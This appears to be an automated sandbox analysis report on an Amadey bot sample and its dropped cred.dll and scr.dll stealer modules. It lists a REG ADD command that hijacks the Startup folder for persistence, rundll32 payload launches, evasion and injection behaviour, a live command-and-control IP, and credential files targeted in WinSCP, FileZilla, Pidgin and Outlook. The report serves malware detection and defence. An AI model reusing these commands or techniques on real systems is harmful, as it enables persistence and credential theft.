Source: unknown	Process created: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe 'C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe'
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Process created: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe 'C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe'
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\cred.dll, Main
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\scr.dll, Main
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Process created: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe 'C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\cred.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\scr.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\	Jump to behavior

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, blfte.exe
Source:	Binary string: UC:\kinukuconuwukuwok24_motowubidanagosumozi_dibiciyixaho-pow.pdbpdb source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
Source:	Binary string: C:\kinukuconuwukuwok24_motowubidanagosumozi_dibiciyixaho-pow.pdb source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Unpacked PE file: 1.2.b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Unpacked PE file: 3.2.blfte.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Unpacked PE file: 1.2.b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Unpacked PE file: 3.2.blfte.exe.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Code function: 3_2_0040B030 Sleep,LoadLibraryA,GetProcAddress,FreeLibrary,GetUserNameW,GetComputerNameExW,

3_2_0040B030

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0040F4E6 push ecx; ret	1_2_0040F4F9
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0042AD75 push esi; ret	1_2_0042AD7E
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0223F736 push ecx; ret	1_2_0223F749
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0040F4E6 push ecx; ret	3_2_0040F4F9
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0042AD75 push esi; ret	3_2_0042AD7E
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0210F736 push ecx; ret	3_2_0210F749

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.750421474.00000000006C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.756024475.0000000002DD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.750389865.0000000000694000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: blfte.exe PID: 6156, type: MEMORY

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	File created: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	File created: C:\ProgramData\1a9f26b569d5df\scr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	File created: C:\ProgramData\1a9f26b569d5df\cred.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	File created: C:\ProgramData\1a9f26b569d5df\scr.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	File created: C:\ProgramData\1a9f26b569d5df\cred.dll			Jump to dropped file

Boot Survival:

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\SysWOW64\reg.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Window / User API: threadDelayed 613	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Window / User API: threadDelayed 785	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Window / User API: threadDelayed 730	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6160	Thread sleep time: -570000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6256	Thread sleep count: 613 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6256	Thread sleep time: -36780000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6252	Thread sleep count: 785 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6252	Thread sleep time: -47100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6220	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6248	Thread sleep count: 730 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6248	Thread sleep time: -43800000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6252	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6256	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe TID: 6160	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00419F82 FindFirstFileExW,	1_2_00419F82
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0224A1D2 FindFirstFileExW,	1_2_0224A1D2
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00419F82 FindFirstFileExW,	3_2_00419F82
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0211A1D2 FindFirstFileExW,	3_2_0211A1D2

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_00403C30 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,GetSystemMetrics,

1_2_00403C30

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: reg.exe, 00000006.00000002.246723018.0000000003700000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: blfte.exe, 00000003.00000002.750708409.00000000006FE000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: reg.exe, 00000006.00000002.246723018.0000000003700000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: reg.exe, 00000006.00000002.246723018.0000000003700000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: reg.exe, 00000006.00000002.246723018.0000000003700000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_00413948 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00413948

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Code function: 3_2_0040B030 Sleep,LoadLibraryA,GetProcAddress,FreeLibrary,GetUserNameW,GetComputerNameExW,

3_2_0040B030

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00411081 mov eax, dword ptr fs:[00000030h]	1_2_00411081
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00414E12 mov eax, dword ptr fs:[00000030h]	1_2_00414E12
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0223092B mov eax, dword ptr fs:[00000030h]	1_2_0223092B
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_022412D1 mov eax, dword ptr fs:[00000030h]	1_2_022412D1
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_02245062 mov eax, dword ptr fs:[00000030h]	1_2_02245062
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_02230D90 mov eax, dword ptr fs:[00000030h]	1_2_02230D90
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00411081 mov eax, dword ptr fs:[00000030h]	3_2_00411081
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00414E12 mov eax, dword ptr fs:[00000030h]	3_2_00414E12
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_021112D1 mov eax, dword ptr fs:[00000030h]	3_2_021112D1
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_02115062 mov eax, dword ptr fs:[00000030h]	3_2_02115062
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0210092B mov eax, dword ptr fs:[00000030h]	3_2_0210092B
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_02100D90 mov eax, dword ptr fs:[00000030h]	3_2_02100D90

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_00401C20 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree,

1_2_00401C20

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00413948 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00413948
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0040F2C2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0040F2C2
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0040F427 SetUnhandledExceptionFilter,	1_2_0040F427
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0040F673 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0040F673
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_02243B98 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_02243B98
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0223F8C3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0223F8C3
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0223F677 SetUnhandledExceptionFilter,	1_2_0223F677
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0223F512 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0223F512
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00413948 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00413948
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0040F2C2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0040F2C2
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0040F427 SetUnhandledExceptionFilter,	3_2_0040F427
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0040F673 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0040F673
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_02113B98 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_02113B98
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0210F8C3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0210F8C3
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0210F677 SetUnhandledExceptionFilter,	3_2_0210F677
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0210F512 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0210F512

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 176.111.174.114 80			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.168.2.5 80			Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_004020D0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

1_2_004020D0

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Process created: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe 'C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\cred.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\scr.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\	Jump to behavior

Source: blfte.exe, 00000003.00000002.751225958.0000000000CF0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: blfte.exe, 00000003.00000002.751225958.0000000000CF0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: blfte.exe, 00000003.00000002.751225958.0000000000CF0000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: blfte.exe, 00000003.00000002.751225958.0000000000CF0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: blfte.exe, 00000003.00000002.751225958.0000000000CF0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_0040F0E2 cpuid

1_2_0040F0E2

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Queries volume information: C:\ProgramData\1a9f26b569d5df\cred.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Queries volume information: C:\ProgramData\1a9f26b569d5df\cred.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Queries volume information: C:\ProgramData\1a9f26b569d5df\scr.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Queries volume information: C:\ProgramData\1a9f26b569d5df\scr.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_0040F501 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_0040F501

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

1_2_00401C20

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_0041D80C _free,GetTimeZoneInformation,_free,

1_2_0041D80C

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_00403C30 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,GetSystemMetrics,

1_2_00403C30

Stealing of Sensitive Information:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.750421474.00000000006C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.756024475.0000000002DD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.750389865.0000000000694000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: blfte.exe PID: 6156, type: MEMORY

Yara detected Amadeys stealer DLL

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: C:\ProgramData\1a9f26b569d5df\cred.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll, type: DROPPED

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml

Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml

Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Registry Run Keys / Startup Folder1	Process Injection212	Deobfuscate/Decode Files or Information1	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Data Obfuscation1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder1	Obfuscated Files or Information2	Credentials in Registry2	Account Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Software Packing2	Credentials In Files1	File and Directory Discovery2	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Encrypted Channel12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Masquerading1	NTDS	System Information Discovery24	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Modify Registry1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol113	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion21	Cached Domain Credentials	Security Software Discovery131	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection212	DCSync	Process Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Rundll321	Proc Filesystem	Virtualization/Sandbox Evasion21	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	34%	ReversingLabs	Win32.Spyware.Convagent
